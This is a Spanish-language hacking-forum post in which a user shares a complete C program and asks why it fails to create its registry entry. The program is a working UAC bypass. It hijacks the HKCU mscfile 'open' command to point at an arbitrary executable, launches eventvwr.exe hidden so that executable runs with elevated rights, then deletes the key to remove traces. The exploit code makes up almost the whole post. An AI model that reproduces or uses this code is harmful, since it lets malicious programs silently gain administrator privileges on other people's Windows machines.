elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  crear regla registro (no me lo hace) programa en c
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: crear regla registro (no me lo hace) programa en c  (Leído 1,683 veces)
Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
crear regla registro (no me lo hace) programa en c
« en: 1 Febrero 2017, 20:10 pm »

no me crea la regla en registro
Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
/*
 * Pretty standard code to recursively nuke a Reg Key
 */
 
int RegDelnodeRecurse (LPTSTR lpSubKey) {
    LPTSTR lpEnd;
    LONG lResult;
    DWORD dwSize = MAX_PATH;
    TCHAR szName[MAX_PATH];
    HKEY hKey;
    FILETIME ftWrite;
 
    lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);
 
    if (lResult == ERROR_SUCCESS) return 1;
 
    lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);
 
    if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;
 
    lpEnd    = lpSubKey + lstrlen(lpSubKey);
    *lpEnd++ = '\\';
    *lpEnd   = '\0';
 
    if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
        do {
            strcpy(lpEnd, szName);
            if (!RegDelnodeRecurse(lpSubKey)) break;
            lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
        } while (lResult == ERROR_SUCCESS);
    }
 
    lpEnd--;
    *lpEnd = TEXT('\0');
 
    RegCloseKey(hKey);
 
    return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}
 
/*
 * Wrapper for above
 */
 
int RegDelnode() {
    TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
    return RegDelnodeRecurse(szDelKey);
}
 
void __c_UAC() {
    char curPath[MAX_PATH], evtVwr[MAX_PATH];
    HKEY attackKey;
    SHELLEXECUTEINFO exInfo;
 
    GetCurrentDirectory(MAX_PATH, curPath);
    strcat(curPath, "\\foobar.exe");
 
 
    sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));
 
    if(!RegDelnode()) return;
    if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;
 
    RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));
 
    exInfo.lpVerb       = "open";
    exInfo.lpFile       = evtVwr;
    exInfo.nShow        = 0;
    exInfo.fMask        = SEE_MASK_NOCLOSEPROCESS;
    exInfo.cbSize       = sizeof(SHELLEXECUTEINFO);
    exInfo.hwnd         = 0;
    exInfo.lpParameters = 0;
    exInfo.lpDirectory  = 0;
    exInfo.hInstApp     = 0;
 
    ShellExecuteEx(&exInfo);
 
    Sleep(5000);
 
    TerminateProcess(exInfo.hProcess, 0);
 
    RegCloseKey(attackKey);
    RegDelnode();
}
 
int main(int argc, char *argv[]) {
    __c_UAC();
    return 0;
}

captura:


Referencia:
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Como podeis ver no estoy muy familiarizado con c. En c++ me resulta mas facil pero como esta programado en c no logro como hacerlo correctamente.


« Última modificación: 2 Febrero 2017, 18:15 pm por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda crear regla iptable permanente.
GNU/Linux
elnene68 4 3,139 Último mensaje 12 Junio 2012, 21:50 pm
por Jenag
Crear una regla en regedit con c++
Programación C/C++
Borito30 1 1,606 Último mensaje 15 Noviembre 2016, 15:48 pm
por engel lex
Tutorial crear una regla en registro usando c++
Programación C/C++
Borito30 2 2,705 Último mensaje 13 Febrero 2017, 04:04 am
por engel lex
Crear control personalizado, para mostrar una regla con zoom y pan.
.NET (C#, VB.NET, ASP)
Harold23 2 4,039 Último mensaje 8 Julio 2017, 16:26 pm
por Eleкtro
¿desactivar firewall o crear regla?
Windows
Herchi 2 2,346 Último mensaje 10 Septiembre 2019, 08:50 am
por Herchi
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines